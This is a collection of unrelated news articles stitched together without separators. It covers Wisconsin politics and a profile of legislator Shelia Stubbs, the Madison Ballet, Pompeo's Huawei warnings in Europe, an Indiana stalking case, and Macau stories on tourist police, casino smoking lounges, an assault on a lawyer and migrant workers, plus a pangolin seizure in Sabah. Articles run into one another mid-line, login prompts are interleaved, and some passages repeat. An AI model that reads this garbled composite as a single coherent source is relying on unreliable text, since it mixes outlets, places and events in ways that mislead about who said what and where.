Nevertheless, it offended student McKenna Collins, a former Miss Wisconsin, young Republican, senior in communications arts and WKOW-TV reporter. She said the description left her feeling intimidated and excluded. She posted her chagrin on Facebook and Murphy took over from there. In letters to UW President Ray Cross, Chancellor Rebecca Blank and members of the Legislature's Joint Finance Committee, he accused Mayer of writing a "politically polarized characterization of the Trump presidency."

Collins added that the syllabus was more evidence of liberal bias on the Madison campus, but then later said that after talking with Mayer she was confident his class wouldn't take sides and her views would be respected.Former Supreme Court Justice David Prosser, in a column that appears on WisOpinion and is labeled "satire," remarks that both Donald Trump and Alexandria Ocasio-Cortez have been silent on the corn syrup brouhaha between Budweiser and Miller. While opining on virtually everything else these days, Prosser writes, they have their own reasons for staying out of this fight, which means Americans remain leaderless on the battle.

In an Urban Milwaukee column, Wisconsin Eye moderator and longtime political columnist Steve Walters writes that there are eight ways to increase highway funding in the state. There are lots of taxes and fees that can be enacted, but can legislators agree on any of them? he asks.

The Beloit Daily News doesn't like Illinois' plan to raise the state's minimum wage to $15 over the next six years. The paper says that wages ought to be determined by market forces, not the government. Illinois minimum now is $8.25 while Wisconsin's is $7.25Shelia Stubbs had just graduated from college in 1993 when her mother, Linda Hoskins, saw a TV news report about a troubled Madison neighborhood and decided to move her family from its Beloit home to a neighborhood known at the time as Broadway-Simpson.

She moved us to the heart of the most economically deprived, drug- and gang-infected community Ive ever seen, Stubbs, 47, said. And she said, It is your responsibility to make it better. Youre not going to sit here and talk about a community. It is your responsibility to roll up your sleeves and go to work.

So with the directive to make it better, Stubbs became a tireless advocate for her new community, working as a probation and parole agent by day and volunteering in the neighborhood by night as it underwent a dramatic revitalization. In 1996, she became president of the Bridge/Lake Point Neighborhood Association, and 10 years later, she defeated a two-term incumbent to represent south Madison on the Dane County Board.

In 2018, she won a four-way Democratic primary for the states newly vacant 77th Assembly District, becoming the first African-American to represent Dane County in the state Legislature. Her directive remains the same: to make it better.

I stand on the shoulders of so many of my ancestors and so many greats that have gone before me, giving me this precious opportunity, but expecting me to make it better than what it is, Stubbs said. I will help create pathways for more people of color.

Born in Camden, Arkansas, Stubbs moved to Beloit at age 5. She attended public schools there and became a member of Emmanuel Baptist Church. Her uncle, Walter Knight, was the citys first African-American city councillor, serving from 1972 to 1985. As a child, Stubbs studied her uncle, noticing that his car radio was always tuned to the news so he could weigh in on current events.

Stubbs learned about public service from her uncle and about advocacy by participating in Future Homemakers of America. When she started studying at the historically black Tougaloo College in Tougaloo, Mississippi, she thought shed like to be a pediatrician or a lawyer. While in college, she learned more about politics as a volunteer on U.S. Rep. Bennie Thompsons first congressional campaign. When she graduated, she internalized the Tougaloo motto: Where history meets the future.

I knew my school expected me as an alumna to go out in the world and be a first. I didnt know what I would be the first of, Stubbs said.

Hoskins said she told her daughter as a young girl that she was born to be a leader and destined to be a first.

Hoskins said shes proud to see (Stubbs) be the person that God chose to break this barrier.

A longtime civil rights activist who served for a decade as president of Madisons chapter of the National Association for the Advancement of Colored People, Hoskins said she taught Stubbs to always help people regardless of their backgrounds, to meet people halfway and to love everyone.

Shelia, she has a big heart for people and it has always been her dream to help people, to let people know you can make it, Hoskins said.

Stubbs, who holds a second bachelors degree from Mount Senario College in Ladysmith and a masters degree from Cardinal Stritch University in Milwaukee, has also worked as a special education teacher. Seventeen years ago she and her husband, Godfrey, co-founded End Times International Ministries church, where she sometimes preaches.

After moving to the Broadway-Simpson neighborhood with her mother, Stubbs grew passionate about the community as she worked with neighbors and local elected officials to form partnerships that would be instrumental in its revitalization. She and Hoskins credit Joining Forces for Families  an initiative headed by the Dane County Department of Human Services  with playing a significant role in the neighborhoods transformation.

In 2006, Stubbs won her first political race, ousting incumbent Don Eggert to represent District 23 on the Dane County Board of Supervisors. She campaigned with endorsements from then-Dane County Executive Kathleen Falk, then-state Rep. Mark Pocan and then- Madison Ald. Tim Bruer.

The Capital Times reported at the time that the race turned ugly in its final days.

Stubbs knocked Eggert's prescription drug discount card plan as being tied to President Bush, and Eggert was critical of Stubbs' mother's leadership of the local NAACP, the Cap Times reported.

I hope Shelia understands the standard for public service is much higher than the standard for campaigning. If she takes that to heart, she will do well, Eggert said at the time.

Since that race, Stubbs was re-elected six times to represent District 23. She plans to serve out the rest of her term on the board, until spring of 2020. Among her proudest accomplishments are working to create the countys Community Restorative Court, which launched in 2015, and sponsoring a resolution to require mandatory sexual harassment training for all county employees, elected supervisors and youth interns.

The Community Restorative Court offers alternatives to the criminal justice system for low-level offenders between the ages of 17 and 25, with input from victims and community volunteers. Dane County Board Chair Sharon Corrigan said she doesnt think the program would exist in the county if not for Stubbs, who traveled to research the model and brought people together to chart a course to bring it to Dane County.

She has a unique style that is part charm and  she gets along well with others, but at the same time she is dogged in pursuing what she knows is right, said Corrigan, who has known Stubbs since 2010.

Both Corrigan and Rep. Dianne Hesselbein, D-Middleton, see a natural path from the county board to the Legislature. Hesselbein served with Stubbs on the board for six years before she was elected to represent the 79th Assembly District in 2012.

Stubbs predecessor, Terese Berceau, served on the board from 1992 to 2000, and state Rep. Melissa Sargent, D-Madison, served from 2010 to 2014. Pocan and Sen. Tammy Baldwin were supervisors before running for Assembly.

County government is the place where were implementing programs from the state, Corrigan said. You really learn a lot about state programs while youre on the County Board. Secondly, being on the County Board is being part of a small Legislature  were just unicameral. So you learn those legislative skills about how to take an idea from just an idea to having it drafted, and working to bring parties together to achieve something.

Each moment of Stubbs day is guided by a deep, unwavering faith in God.

Prayer is not a daily activity for Stubbs, its a throughout-the-day activity. She prays when she wakes up, before she makes phone calls, before she does interviews  it keeps her balanced.

Its her faith that got her here. Her faith in God, her faith in people, her faith in family, but most of all trusting and believing in God and following her conscience, her heart, said her husband, Godfrey Stubbs.

Between Godfreys ministry and Shelias work on the board, they both have to travel at times, Godfrey said  but no matter where they are or what the time difference is, they end the night with a prayer together, even if its by phone.

That has been our foundation, our rock, is to put God at the center of our relationship, Godfrey said.

The two met in 1998 when Stubbs was vacationing with a group in the Bahamas, where Godfrey worked as a resort beverage director. He saw her walking with her mother and sister at an outdoor market and introduced himself. He told her he was going to marry her. She thought he was crazy.

She resisted his persistent efforts to take her out, but acquiesced to a breakfast date on the last day of the trip  only if her mother and sister could join them. They exchanged phone numbers, and he promised to visit her soon.

The journey back to Wisconsin included a turbulent plane ride and a broken-down bus. As she prayed for safety, Stubbs said, she found herself wondering why shed been so rude to the man in Nassau. When she finally made it home, she said, her phone was ringing. She and Godfrey prayed together on the phone, and he visited her the next week.

After six years of long-distance dating, they were married in 2002 in Beloit. They have a 9-year-old daughter, Aquila, and she counts his four children and five grandchildren living in the Bahamas as her own, too.

I know it was Gods doing the whole time that put the two of us together, she said.

Rev. Alex Gee, pastor of Fountain of Life Church and president and founder of Nehemiah Community Development Corporation, said Stubbs focus on faith represents a new day of clergy who arent locked to the pulpit, drawing comparisons to himself and to Dane County Judge Everett Mitchell, who is also a pastor.

Shes representing this new breed thats saying, Dont diminish our voices, dont lock us in the church, but when we come out, dont act as if our faith is not informing our sense of fairness, our sense of community, our sense of forgiveness, our sense of redemption, Gee said.

Gee said he is hopeful Stubbs presence in the Capitol will influence efforts to reduce the states staggering racial disparities thanks to her experience with organizations and programs that have proven effective.

We look at disparities and we immediately say, Lets talk about the deficiencies in the black community, Gee said. We never look at the systemic issues. We cannot look at the brokenness in the black community and not look at the disconnect between the state Capitol and the black community.

Sens. Lena Taylor and LaTonya Johnson, both Democrats representing Milwaukee, are the only black members of the state Senate. Taylor has been in the Legislature for 16 years, Johnson for seven. Stubbs is one of six black members of the state Assembly, and the only black lawmaker who does not represent Milwaukee.

The first black man to be elected to the Wisconsin Legislature was Lucian H. Palmer in 1906. Marcia Coggs was the first black woman to be elected to the Wisconsin Legislature, 71 years later in 1977.

A number of studies in recent years have found that Wisconsin ranks among the worst states in the country in measures of racial inequality. Disparities exist in employment and incarceration rates, educational outcomes, health and income, and are particularly stark in Madison and Dane County.

What Im hoping (Stubbs election) really means is more resources for boots on the ground organizations, not just ours, but the real grassroots organizations that are really doing work and understand systemic change, Gee said. Its an opportunity for a real understanding of what it means to be involved in our own local and statewide politics  a chance for us to be able to think differently about how we communicate our needs, how we make our needs known, how we hold our government accountable.

Stubbs new role coincides with the election of the states first black lieutenant governor, Mandela Barnes, and Democratic Gov. Tony Evers, who in his State of the State speech discussed efforts to reduce the states educational achievement gap and highlighted the work of Madisons Lisa Peyton-Caire, founder and president of the Foundation for Black Women's Wellness.

Stubbs said she was encouraged by what she heard from Evers speech.

In the Legislature, Stubbs said, her priorities are to work on criminal justice reform efforts, education policy, student debt and environmental issues. Shed like to help create restorative justice courts throughout the state and she plans to work on efforts to end racial profiling.

Stubbs campaigned on criminal justice reform, diverting funding for prisons to education, implementing universal background checks for gun purchases, protecting abortion access, providing universal access to health care, supporting workers rights, strengthening the social safety net and bolstering environmental protections.

While campaigning, she had several negative experiences she believes were motivated by the color of her skin. She received national attention after a constituent called police, suspecting a drug deal, while she was knocking doors with her mother and her daughter. She described the experience at the time as degrading, humiliating and insulting.

A person claiming to be the caller later sent media outlets an anonymous letter saying he had not seen her before he called police, and was concerned with activity at a local drug house.

I am not the jerk the nation thinks I am, the person wrote.

Hesselbein was shaken by that experience and by another one that occurred while she was out campaigning with Stubbs. Both Stubbs and Hesselbein recall a man telling Stubbs he wouldnt support her because she didnt have a job. Hesselbein, who is white, said she had never heard or been asked about her employment status during her campaigns for school board, county board or the Legislature.

She always tells me, Its different to be me, and I get that and I understand that, but until you see that, Hesselbein said. We turned away from the door, got away from it and she was like, Now you know what I mean. Its those comments that really hurt  It cuts.

The 77th Assembly District is diverse, covering some of Madisons poorest neighborhoods  Allied Drive and Lake Point  as well as some of its wealthiest  Nakoma and Shorewood Hills.

Hesselbein said she encouraged Stubbs to run for Assembly whenever Berceau opted to retire. Berceau endorsed Stubbs in the four-way primary to fill the seat.

Asked why she thinks Dane County didnt send a person of color to the Legislature until 2018, Hesselbein noted that local lawmakers tend to hold their seats for a long time, which means there are few opportunities to run against a candidate who isnt an established incumbent.

Sen. Fred Risser, D-Madison, has served in the Legislature for 62 years. Sen. Jon Erpenbach, D-Middleton, and Sen. Mark Miller, D-Monona, have both been in the Legislature for 21 years. Berceau served in the Assembly for 20 years, representing the 76th Assembly District from 1998 until 2012, when redistricting moved her to the 77th. Former Rep. Spencer Black had represented the 77th Assembly District for 26 years before stepping down in 2010.

I think people havent had a chance to vote for people, Hesselbein said. Part of it is that we serve a long time in Dane County, so those opportunities dont always happen. But its important. When Shelia was running, she would talk about her daughter and she said, Im running so if she decides to run, or a girl like her, itll be different.

Stubbs said she wants to be known as a lawmaker who is part of the community.

I dont want to be somebody that they see, I want to be somebody that they know, she said.

And as a first in Dane County, she wants to make sure the path gets easier for those who follow her. Once again, her directive is to make it better.

My ancestors went through more. Some of them died so I could have a right to come in this Capitol. Some of them died so I could vote. I owe them everything that I have, Stubbs said. And when I looked in the eyes of (my daughter), I told her this  you will not go through what I did. It is my responsibility to make it better for you.

Share your opinion on this topic by sending a letter to the editor to tctvoice@madison.com. Include your full name, hometown and phone number. Your name and town will be published. The phone number is for verification purposes only. Please keep your letter to 250 words or less.Please register or log in to keep reading

Stay logged in to skip the surveys.This is the first time well have a facility to dedicate to the work we do, where we are the primary user, Bourg said. Its the first time well have that opportunity. Were taking the time to balance  what do we want? We want this to be the home for our school, for our company.

Madison Ballet was founded in 1981 as the Wisconsin Dance Ensemble. It changed its name in 2000, and the School of Madison Ballet was established five years later.

The ballet employs a part-time professional company that performs one or two full-length ballets each year as well as a few small repertory shows, often in the Bartell Theatre.

Company members serve as primary faculty for the school. Though there was only one full-length ballet this season (Nutcracker), on May 30-June 2, Madison Ballet company dancers will appear in On the Town with Capital City Theatre.

Destree Architects is working with the ballet to make a space with the schools needs specifically in mind. Bourg wants to make the studios useful for the schools own dance classes, but also for potential renters like Pilates and Zumba teachers, flamenco instructors and pageant contestants.The United States may be forced to scale back certain operations in Europe and elsewhere if countries continue to do business with the Chinese telecommunications company Huawei, Secretary of State Mike Pompeo said yesterday [Macau time] in a new warning that underscores U.S. concerns about the firm.

In Budapest on the first leg of a five-nation European tour during which he is raising American concerns about China and Russias growing influence in Central Europe, Pompeo said nations would have to consider choosing between Huawei and the United States. The warning was broad but pointedly delivered in Hungary, a NATO ally and European Union member where Huawei is a major player.

They are a sovereign nation, Pompeo said of Hungary. They get to make their own decisions. What is imperative is that we share with them the things we know about the risks that Huaweis presence in their networks present  actual risks to their people, to the loss of privacy protections for their own people, to the risk that China will use this in a way that is not in the best interest of Hungary.

Pompeo says the presence of Chinese telecom infrastructure could drive a technological wedge between the U.S. and some allies.

It also makes it more difficult for America to be present, Pompeo said. That is, if that equipment is co-located where we have important American systems, it makes it more difficult for us to partner alongside them.

Pompeo said he had raised the concerns with Hungarian Foreign Minister Peter Szijjarto and would also do so with nationalist Prime Minister Viktor Orban, who has been criticized for seeking closer ties with Russia and China and for increasingly authoritarian rule at home.

We want to make sure we identify [to] them the opportunities and the risks with using that equipment. And then they will get to make their decisions, Pompeo said.

The U.S. has repeatedly accused China of using technology to pilfer trade secrets. China recently has said that its totally unreasonable to make some of these accusations and that the U.S. is just trying to suppress a rising competitor.

At a news conference with Pompeo, Szijjarto acknowledged that Huawei is present in Hungary but played down its position in the market. He also made the point repeatedly that Hungary accounts for only 1.2 percent of European Union trade with China.

This does not endanger us from being an ally, Szijjarto said.

Pompeo said he hoped to reverse what he called a decade of U.S. disengagement in Central Europe that created a vacuum Russia and China have exploited. Over the course of the past 10 years, he said, Russian President Vladimir Putin and Chinese leaders have become much more aggressive in the region and made inroads.

The administration of Trumps predecessor, Barack Obama, had largely steered clear of Orban, who won a third consecutive term last year in a campaign based on anti-immigration policies and whose policies have been met with street protests and deepening concern within the EU.

Pompeo put the blame for much of the backsliding on a lack of U.S. engagement.

I think for a long time we shunned them in a way that drove them to fill the vacuum with folks who didnt share our values, he said. The Russians and the Chinese ended up getting more influence here, they do not remotely share the American ideals that we care so deeply about.

Pompeo was given a list of concerns in a meeting with Hungarian civic leaders. Some of their groups have been targeted by legislation making their work more difficult, like a tax on funds received from abroad and the possible jail time for those convicted of aiding asylum seekers. Three groups that took part said they believed Pompeo would bring them to Orban.

The meeting and the openness to the opinion of the civic groups again demonstrated that the American leadership is committed to the defense of the values of the rule of law and the role of civil society, the groups said in a statement. APAbout a week after the Indiana Court of Appeals threw out a protective order filed by a Kokomo Police Department officer against a Russiaville man, the Howard County Prosecutors office moved to file a similar no-contact order in connection with a pending criminal stalking case.

Last Wednesday, Howard County Prosecutor Mark McCann filed a no-contact order against Chris Sutton, who faces charges of stalking, intimidation, and harassment in connection to case from 2017 where officers alleged he stalked KPD officer Teresa Kelly since 2014. McCanns order comes after a protective order, filed by Kelly, was reversed by the Indiana Court of Appeals for a lack of evidence.

Whereas Kellys was filed in civil court and separate from the criminal case pending against Sutton, McCanns was filed as part of the criminal case against Sutton, which is set to go to trial in April.

In his motion, McCann wrote that Kelly had since the time of the filing of the above captioned cause received different forms of direct and/or indirect contact from the defendant, Christopher Sutton.

Furthermore, in his filing McCann claimed the order was necessary to preserve the safety, peace, and dignity of the community as well as the safety of the alleged victim.

McCann said the order he filed related to the same incidents laid out in the order Kelly filed.

McCanns order, filed in Howard Superior IV, had not been acted on by Judge Hans Pate prior to deadline.

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Kellys initial protective order, according to court documents, was requested based upon three separate instances she alleged that Sutton had stalked her following his arrest in 2017. However, the court of appeals said only one of the instances she cited was substantiated.

In its ruling last week, the court wrote, Although we accept [Kelleys] testimony that she was afraid  a single incident of harassment is insufficient to support a finding of stalking.

Initially, Sutton was arrested on April 4, 2017. According to a KPD release at the time, Sutton allegedly encouraged his friends and followers on social media to booby trap their yards to intentionally injure officers when they come onto their property. Sutton informed his friends and followers that they had a right to intentionally injure officers on their property because they pay taxes.

Sutton, according to the release at the time, also requested video recordings of the officers being injured by the booby traps so he could see it, replay it, and share the video. Suttons booby trap suggestions to injure officers included hiding boards with exposed nails and animal traps in thick grass so officers would not see the traps. As Sutton received multiple positive replies to his suggestions, he posted that he prefers the hidden boards with nails or hidden animal traps better to injure an officer. The release indicated the post was directed at Kelly.

It also was alleged that Sutton had been stalking Kelly since October 2014.

Suttons attorney did not return a request for comment prior to deadline.Tourist Police officials have admitted that language barriers remain the main obstacle for them when on duty, citing the presence of visitors from the mainland who cannot understand Mandarin, as they speak a different dialect.

Operating under the Public Security Police Force (PSP), the Tourist Police said that they sometimes have to communicate through body language and a translation device.

Most of the problems we encounter are [related to] language barriers, because there are many tourists from various provinces in the mainland and they all speak different dialects and may not speak with us in Mandarin, said Cheong Ka Wai, a member of the Tourist Police, as cited in a report by TDM.

So its quite a challenge for us to understand what theyre saying, and sometimes we have to solve the problem through body language. As for tourists from South Korea and Japan, they might not understand English or Mandarin, so we have to communicate with them through a translation device, the police officer added.

Currently, 55 Tourist Police are on duty at the SARs popular tourist areas, including Leal Senado, Ruins of St. Paul and the Cotai Strip, amongst others.

Meanwhile, the PSP announced that the bureau would add six new vehicles to its operations.

Wong Io Lun, a PSP representative, said, We usually help tourists register their lost and found items in Tourist Police vehicles. We have helped over 200 tourists and residents handle these cases.

So we are planning to modify six more vehicles to be deployed at various tourist hotspots, such as the Cotai Strip and the Border Gate.Vietnams foreign minister has arrived in North Korea ahead of a planned summit between U.S. President Donald Trump and North Korean leader Kim Jong Un in Vietnams capital later this month.

Pham Binh Minh (pictured) arrived yesterday and is expected to stay until tomorrow. No further details of his schedule have been released by his North Korean hosts.

Vietnams capital, Hanoi, is to host the summit between Trump and Kim on Feb. 27-28.

The two leaders held their first summit last June in Singapore. The United States is hoping to get a firm commitment on denuclearization from Kim.Thailand and the United States yesterday hosted the opening ceremony for the annual Cobra Gold military exercise, the biggest activity of its type in the Asia-Pacific region with 29 nations taking part as participants or observers.

Seven nations in addition to Thailand and the United States are active participants: Singapore, Japan, China, India, Indonesia, Malaysia and South Korea. About 4,500 U.S. personnel, on land and sea, are taking part.

The acting head of the U.S. diplomatic mission in Thailand, Peter Haymond, said at the ceremony in the northern Thai province of Phitsanulok that the aim of the exercise, first held in 1982, is to strengthen cooperation and inter-operability.

There are three major components of the exercise, which ends Feb. 22: military field training, humanitarian assistance and disaster relief training. Its goals include enhancing maritime security, preventing and mitigating emerging disease threats, and responding to large-scale natural disasters, a U.S. statement said.

The ceremony was attended by Thai Chief of Defense Forces Gen. Pornpipat Benyasri and the commander of the U.S. Army First Corps, Lt. Gen. Gary J. Volesky, representing the U.S. Indo-Pacific Command.

We have witnessed that this Thai-American initiative has become a significant milestone of military collaboration that has expanded to the regional level, a statement issued by the exercise quoted Pornpipat as saying.

I believe that not only has Cobra Gold served as a platform for understanding and working together in the region, but has now become beneficial for our other strategic partners, he said. APLawmaker Sulu Sou has submitted a written opposition to the chairman of the Legislative Assembly (AL) regarding the alleged secret meeting of the ALs Committee of Rules and Mandates.

In January, the committee held a meeting to discuss Sulu Sous trash assembly expression as well as his opposition toward the amendment of a bill.

However, Sous submission was written in opposition of another meeting held before the aforementioned formal meeting.

Sou has accused the meeting of being a so-called preparatory meeting before the committee officially discussed matters involving Sulu Sou.

The preparatory meeting was held without it having been announced to all lawmakers.

In the rules of the AL, there is not a so-called Committee Preparatory Meeting, Sou writes.

After the preparatory meeting and the formal meeting (attended by Sou), the committee brought out two opinion books.

Opinion books that were not made through a discussion during the so-called meeting of the committee have flaws, said Sou, further adding that regardless of whether [] the books are invalid or withdrawn, what can be ensured is that the AL chairman and all lawmakers have the obligation to supervise situations where the AL rules are violated in the future, and that the AL chairman and all lawmakers are obligated to report and disallow situations which [violate the rules].

Sou also accused the committee members of not respecting other non-committee lawmakers, as they announced the opinion books at the deadline.

In addition, Sou added that all AL members and members of the public have the right to know about the whole procedure [of the meetings].

Sous opposition was submitted to AL Chairman, Ho Iat Seng, on Monday.

Sou requested from Ho that the written opposition be fully published in the AL journal.U.S. Secretary of State Mike Pompeo yesterday invoked the 30th anniversary of the demise of communism to implore countries in Central and Eastern Europe to resist Chinese and Russian influence.

Speaking in the Slovak capital of Bratislava, Pompeo said China and Russia pose twin threats to the democratic and free- market gains made since the fall of the Berlin Wall in 1989.

He said the post-communist countries are particularly vulnerable to Chinese and Russian predatory investment and political meddling. To combat the threat, he said the United States is committed to boosting its engagement in the region, through defense cooperation agreements and exchange programs.

I want to make sure that the Slovakian people understand that America is engaged, were back, he said at a brief ceremony at Slovakias Gate of Freedom  a memorial on the banks of the Morava River at the Slovakian border with Austria that commemorates the 400 people killed at the borders of the former Czechoslovakia while attempting to escape the Iron Curtain between1945 and 1989.

This relationship was built on shared values and now we must sustain it on those same, especially as Russian aggression undermines freedom on this continent, but also against a China that represses people while its expanding its influence abroad, he said. We must recommit to our values again and again and again generation after generation to ensure that they live on.

Pompeo is in Slovakia on the second leg of a five-nation European tour that began in Hungary and will take him to Poland, Belgium and Iceland.

Earlier in Budapest, Pompeo warned that the United States may be forced to scale back certain operations in Europe and elsewhere if countries continue to do business with Chinese telecommunications company Huawei.

The U.S. has been warning countries about the risks of Chinese telecom technology as governments choose providers for the rollout of 5G wireless internet, which will enable faster download speeds but also greater connectivity among devices.

Pompeo says the presence of Chinese telecom infrastructure could drive a technological wedge between the U.S. and some allies.

It also makes it more difficult for America to be present, Pompeo said.

That is, if that equipment is co-located where we have important American systems, it makes it more difficult for us to partner alongside them. We want to make sure we identify [to] them the opportunities and the risks with using that equipment.

Pompeo raised those concerns with Hungarys nationalist Prime Minister Viktor Orban, who has been criticized for seeking closer ties with Russia and China and for increasingly authoritarian rule at home.

Pompeo said he hoped to reverse what he called a decade of U.S. disengagement in Central and Eastern Europe that created a vacuum Russia and China have exploited. Over the course of the past 10 years, he said, Russian President Vladimir Putin and Chinese leaders have become much more aggressive in the region and made inroads. Matthew Lee, Bratislava, APMalaysian authorities have seized a record 30 tons of pangolin and pangolin products in eastern Sabah state on Borneo, the biggest such bust in the country, a wildlife monitoring group said yesterday .

The monitoring network Traffic said in a statement that Sabah police this month uncovered two major pangolin processing facilities, throwing a spotlight on Sabahs role in the sourcing and trafficking of the endangered scaly mammal.

Sabah police said over the weekend they had seized three refrigerated containers containing 1,800 boxes filled with frozen pangolins, another 572 frozen pangolins in separate freezers, 61 live pangolins and 361 kilograms of pangolin scales. Two bear paws and carcasses of four flying fox were also recovered. A 35-year-old Malaysian man, believed to be a factory manager, has been detained.

The pangolin is said to be the most widely trafficked mammal in the world, and its scales are in high demand in Asia for use in traditional Chinese medicine. The scales are made of keratin, the same material in human fingernails. Their meat is also considered a delicacy in China and other Asian countries.

Sabah police chief Omar Mammah said in the statement that initial investigations showed the facility has operated for seven years and that the suspect had bought the pangolins from local illegal hunters for distribution locally and to the neighboring state of Sarawak. He estimated the haul to be worth at least 8.4 million ringgit (USD2 million).

Traffic said the whole pangolin bodies found frozen and boxed were likely to have been sold for meat consumption.

Including this bust, Sabah has been implicated in over 40 tons of pangolin smuggling since August 2017, including 13 tons of African pangolin scales, it said.

It said the seizures came a decade after Sabah authorities discovered logbooks in 2009 kept by another pangolin trafficking ring. It said the logbooks revealed that about 22,200 pangolins were killed and 834.4 kilograms of pangolin scales sourced throughout the state and supplied to the syndicate over 13 months.

There were occasional seizures of live and processed pangolins since then. But a massive seizure of African pangolin scale shipments in 2017 at a Sabah port and at the Kuala Lumpur International airport originating from Sabah has since highlighted Sabahs emerging role as a transit point in the global trafficking of pangolin scales from Africa to Asia, TRAFFIC said.

The latest seizure and the 2009 discovery confirm that Borneo is still an important source of pangolins for the illegal trade, Traffic communications officer Elizabeth John told the Associated Press. APThe two men who assaulted a Macau lawyer in a shocking broad daylight attack in 2013 will stand trial on June 3, after a lengthy legal battle of three appeals filed not by the prosecution or the defense, but by the victim himself.

Walking his 5-year-old son to pre-school one morning in May 2013, lawyer Jorge Menezes was suddenly ambushed in Sintra Square by two mainland assailants who swung at him with bricks strapped to their hands. The busy morning street in downtown Macau emptied of commuters running from the danger, save for one unidentified onlooker who stood at a distance until the assailants themselves fled.

The assailants landed one blow to his head and injured his arm, but were unable to topple the dazed lawyer. In the brawl that lasted for less than a minute, Menezes was fortunate to escape with mild injuries. Similar attacks have left victims with brain damage or killed them.

In the years since, police authorities and public prosecutors have yet to agree on the motivation for the attack. The Organized Crime Investigation Commission (OCIC) of the Public Security Police Force concluded there was an obvious triad connection, saying that it had all the hallmarks of organized crime. The Public Prosecutions Office (MP) contests that there is insufficient evidence to establish a triad connection and wants to treat the case as an isolated attack.

The initial reaction of security forces suggests that not only was organized crime the prime suspicion, but that the OCIC  itself an anti-organized crime unit  felt the evidence was strong enough to warrant exceptional measures.

The then-Secretary for Security ordered the deployment of police protection for Menezes family. Police officers stood guard outside of their apartment, escorted family members when they left their home and conducted security evaluations of the two schools that Menezes three children attended. It was later recommended that the lawyers family leave for Portugal where they would be safer.

It took the OCIC just a few days to fully identify the two assailants, including information such as their names, travel documents and contact details, in addition to recordings of the assault from surveillance cameras. But by that time the suspects had already fled back across the border.

The third man, the onlooker, was never identified nor caught on surveillance footage. Menezes concedes that he cannot be certain of the mans involvement in the attack  but it looked like it.

Months passed, but then, by some fortuitous circumstances, one of the assailants was apprehended at the Border Gate while trying to reenter Macau and was brought before a pre-trial judge for the application of preventive measures.

According to Menezes, this was the moment that the judicial proceedings took a strange turn.

The lawyer and victim was not informed of the pre-trial session by the Public Prosecutions Office and was ignored on the day even after registering his attendance and expressing a willingness to be called. In his absence, the pre-trial judge ordered the defendant to pay a 5,000-pataca bail as the sole preventive measure. The man subsequently fled across the border.

It was soon after announced that the Public Prosecutions Office had decided that just one of the two assailants would stand trial, accused of the mildest form of physical assault, and with no established connection to organized crime or an attack on the legal profession.

But the legal professional wouldnt let this go. Drawing on a list of judicial abnormalities in the case, Menezes has battled the Public Prosecutions Office almost single-handedly for years, filing appeal after appeal to see justice done.

The first appeal railed against the prosecutors initial decision to only charge one of the two assailants because of uncertainty regarding the second defendants identity and where he was living.

I had to appeal to the attorney general in Macau to say that this was ridiculous, recalled Menezes. They had a video of both assailants and both of their names. They had as much the identity of one as they did of the other [] and not having the address of one of them is not a reason not to go after him.

Then came the second, which appealed the type of crime levied against the defendants. Initially the MP intended to charge the one assailant with the mildest form of assault, the crime of bodily harm, as opposed to aggravated bodily harm or attempted murder. After reviewing the appeal, the charges were amended to attempted aggravated bodily harm.

Judicial authorities had coerced the Public Prosecutions Office into changing tack on the first two appeals, but sided with the prosecutor on the third.

The Court of Second Instance decided that there was no evidence that the attack was related to Menezes profession as a lawyer, nor was there sufficient evidence of organized crime. This is true, admits Menezes, but only because there was no investigation!

The Macau judiciary system and the Public Prosecutions Office were never curious about who might have ordered the attack and never sought to investigate, accused Menezes. The whole investigation from the moment the file was taken from that [OCIC] department was appalling.

In fact, the lawyer argues that the evidence for organized crime is overwhelming.

The fact that the police said this was typical triad behavior; the fact that I had high-profile cases at the time; the fact that I testified there was a third person [involved] to my understanding; the fact that [the assailants] had never been in Macau before; the fact that they were aware of my movements; the fact that they never tried to steal anything from me, he listed, these are signs that there was someone ordering the attack  otherwise what was the motivation?

He suspects there is an implicit protection of someone in a very high position who ordered the attack, and if that is the case, then his skirmishing within the Macau judicial system is becoming increasingly dangerous.

The authorities have put me in a dangerous position where I need to keep going after these guys myself, said Menezes. I have appealed over and over again to [coerce] the prosecutors into doing what they apparently do not want to do. I am sure that those behind the attack know that I am the one making the appeals.

The two assailants will stand trial at 11 a.m. on June 3 accused of the crime of attempted aggravated bodily harm.Twenty-seven casinos received approval to set up smoking lounges since the start of 2019, according to the Health Bureau (SSM).

So far this year, the SSM received applications from 35 local casinos for the establishment of 555 smoking lounges. A total of 436 smoking lounges amongst 27 casinos have received approval.

There are still 12 casinos that have not applied to the SSM to set up smoking lounges.

In January this year, tobacco control officers on duty conducted 26,378 inspections, a decrease of 7,902 inspections compared to the same period of last year.

The total number of prosecutions was 580, including 574 illegal smoking cases and six cases involving the display of tobacco products.

During the same period, the SSM and the Gaming Inspection and Coordination Bureau carried out 250 inspections in casinos, 179 more than the same period last year.

The two bureaus prosecuted 189 illegal smoking cases, 42 more cases than in the same period of 2018.

In 2017, the Legislative Assembly passed the amendment of the new tobacco control law, which proposed that smoking in casinos would only be permitted inside smoking lounges as of Jan. 1 this year.SEVERAL groups of migrant workers gathered yesterday at the Labor Affairs Bureau (DSAL) calling for a review of policies on domestic workers including an outdated housing allowance and requesting a review of the minimum wage proposal.

This was the first time that Filipino and Indonesian migrant groups organized a meeting with an official government department  which took the group some four months to finalize.

Although the preparations took place over some 12 months, the groups expressed dissatisfaction with the outcome of the meeting, noting that officials responded to the migrants concerns by quoting current laws on imported labor.

Following the outcome of yesterdays meeting, the migrant groups will continue to lobby for their rights  starting off with collecting signatures from their fellow workers and handing a petition to local legislators.

The groups stated that they strongly condemn the slavery- like conditions faced by some domestic workers in the region, as several issues have not been addressed despite their continuous calls.

Regarding the meeting, we are half satisfied and half dissatisfied. Half satisfied because they gave us time to [listen] to our grievances, problems and requests. Hopefully, it wont be the last time, said Benedicta Palcon, chairperson of Greens Philippines Migrant Workers Union.

In the letter addressed to Chief Executive Chui Sai On, migrant groups listed a total of 12 items that they believe are in need of review. These include the need to institute a standard contract that clearly defines labor standards in the city, a minimum wage of MOP4,500, and an increase in the outdated housing allowance from MOP500 to MOP1,000.

The citys required housing allowance for non-resident workers was established back in 2004 and has not been reviewed for a decade and a half.

The migrant groups also called for a review of the six months ban on migrant workers whose previous employment had been terminated, and requested that the bureau monitor agency fees to ensure that these agencies follow the law.

According to Palcon, the groups have gathered over 3,000 signatures for the petition and are planning to gather more before they hand the letter to the CE.

The meeting, which lasted over two hours, was attended by deputy director of the DSAL Ng Wai Han and head of the bureaus Labor Inspection Department Kenny Lai.

